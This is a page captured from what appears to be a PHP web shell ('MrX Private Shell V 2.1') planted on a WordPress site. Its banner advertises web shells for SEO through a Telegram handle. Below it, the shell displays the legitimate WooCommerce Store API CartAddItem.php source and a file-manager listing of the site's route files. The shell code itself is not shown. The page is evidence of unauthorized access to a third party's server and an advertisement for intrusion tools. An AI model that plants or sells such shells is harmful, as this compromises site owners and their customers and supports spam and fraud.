__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Automattic\WooCommerce\StoreApi\Routes\V1;
use Automattic\WooCommerce\StoreApi\Exceptions\RouteException;
/**
* CartAddItem class.
*/
class CartAddItem extends AbstractCartRoute {
/**
* The route identifier.
*
* @var string
*/
const IDENTIFIER = 'cart-add-item';
/**
* Get the path of this REST route.
*
* @return string
*/
public function get_path() {
return self::get_path_regex();
}
/**
* Get the path of this rest route.
*
* @return string
*/
public static function get_path_regex() {
return '/cart/add-item';
}
/**
* Get method arguments for this REST route.
*
* @return array An array of endpoints.
*/
public function get_args() {
return [
[
'methods' => \WP_REST_Server::CREATABLE,
'callback' => [ $this, 'get_response' ],
'permission_callback' => '__return_true',
'args' => [
'id' => [
'description' => __( 'The cart item product or variation ID.', 'woocommerce' ),
'type' => 'integer',
'context' => [ 'view', 'edit' ],
'sanitize_callback' => 'absint',
],
'quantity' => [
'description' => __( 'Quantity of this item to add to the cart.', 'woocommerce' ),
'type' => 'number',
'context' => [ 'view', 'edit' ],
'arg_options' => [
'sanitize_callback' => 'wc_stock_amount',
],
],
'variation' => [
'description' => __( 'Chosen attributes (for variations).', 'woocommerce' ),
'type' => 'array',
'context' => [ 'view', 'edit' ],
'items' => [
'type' => 'object',
'properties' => [
'attribute' => [
'description' => __( 'Variation attribute name.', 'woocommerce' ),
'type' => 'string',
'context' => [ 'view', 'edit' ],
],
'value' => [
'description' => __( 'Variation attribute value.', 'woocommerce' ),
'type' => 'string',
'context' => [ 'view', 'edit' ],
],
],
],
],
],
],
'schema' => [ $this->schema, 'get_public_item_schema' ],
'allow_batch' => [ 'v1' => true ],
];
}
/**
* Handle the request and return a valid response for this endpoint.
*
* @throws RouteException On error.
* @param \WP_REST_Request $request Request object.
* @return \WP_REST_Response
*/
protected function get_route_post_response( \WP_REST_Request $request ) {
// Do not allow key to be specified during creation.
if ( ! empty( $request['key'] ) ) {
throw new RouteException( 'woocommerce_rest_cart_item_exists', esc_html__( 'Cannot create an existing cart item.', 'woocommerce' ), 400 );
}
/**
* Filters cart item data sent via the API before it is passed to the cart controller.
*
* This hook filters cart items. It allows the request data to be changed, for example, quantity, or
* supplemental cart item data, before it is passed into CartController::add_to_cart and stored to session.
*
* CartController::add_to_cart only expects the keys id, quantity, variation, and cart_item_data, so other values
* may be ignored. CartController::add_to_cart (and core) do already have a filter hook called
* woocommerce_add_cart_item, but this does not have access to the original Store API request like this hook does.
*
* @since 8.8.0
*
* @param array $add_to_cart_data An array of cart item data.
* @return array
*/
$add_to_cart_data = apply_filters(
'woocommerce_store_api_add_to_cart_data',
array(
'id' => $request['id'],
'quantity' => $request['quantity'],
'variation' => $request['variation'],
'cart_item_data' => [],
),
$request
);
$this->cart_controller->add_to_cart( $add_to_cart_data );
$response = rest_ensure_response( $this->schema->get_item_response( $this->cart_controller->get_cart_for_response() ) );
$response->set_status( 201 );
return $response;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AI | Folder | 0775 |
|
|
| Agentic | Folder | 0775 |
|
|
| AbstractCartRoute.php | File | 9.49 KB | 0664 |
|
| AbstractRoute.php | File | 9.67 KB | 0664 |
|
| AbstractTermsRoute.php | File | 4.69 KB | 0664 |
|
| Batch.php | File | 3.69 KB | 0664 |
|
| Cart.php | File | 1.34 KB | 0664 |
|
| CartAddItem.php | File | 3.95 KB | 0664 |
|
| CartApplyCoupon.php | File | 2.07 KB | 0664 |
|
| CartCoupons.php | File | 3.92 KB | 0664 |
|
| CartCouponsByCode.php | File | 2.66 KB | 0664 |
|
| CartExtensions.php | File | 1.93 KB | 0664 |
|
| CartItems.php | File | 3.82 KB | 0664 |
|
| CartItemsByKey.php | File | 4.07 KB | 0664 |
|
| CartRemoveCoupon.php | File | 2.51 KB | 0664 |
|
| CartRemoveItem.php | File | 2.25 KB | 0664 |
|
| CartSelectShippingRate.php | File | 3.56 KB | 0664 |
|
| CartUpdateCustomer.php | File | 9.87 KB | 0664 |
|
| CartUpdateItem.php | File | 1.86 KB | 0664 |
|
| Checkout.php | File | 32.12 KB | 0664 |
|
| CheckoutOrder.php | File | 7.91 KB | 0664 |
|
| Order.php | File | 2.24 KB | 0664 |
|
| Patterns.php | File | 2.86 KB | 0664 |
|
| ProductAttributeTerms.php | File | 2.18 KB | 0664 |
|
| ProductAttributes.php | File | 1.59 KB | 0664 |
|
| ProductAttributesById.php | File | 2 KB | 0664 |
|
| ProductBrands.php | File | 1.36 KB | 0664 |
|
| ProductBrandsById.php | File | 2.39 KB | 0664 |
|
| ProductCategories.php | File | 1.35 KB | 0664 |
|
| ProductCategoriesById.php | File | 1.98 KB | 0664 |
|
| ProductCollectionData.php | File | 7.13 KB | 0664 |
|
| ProductReviews.php | File | 6.74 KB | 0664 |
|
| ProductTags.php | File | 1.24 KB | 0664 |
|
| Products.php | File | 15.52 KB | 0664 |
|
| ProductsById.php | File | 1.9 KB | 0664 |
|
| ProductsBySlug.php | File | 2.71 KB | 0664 |
|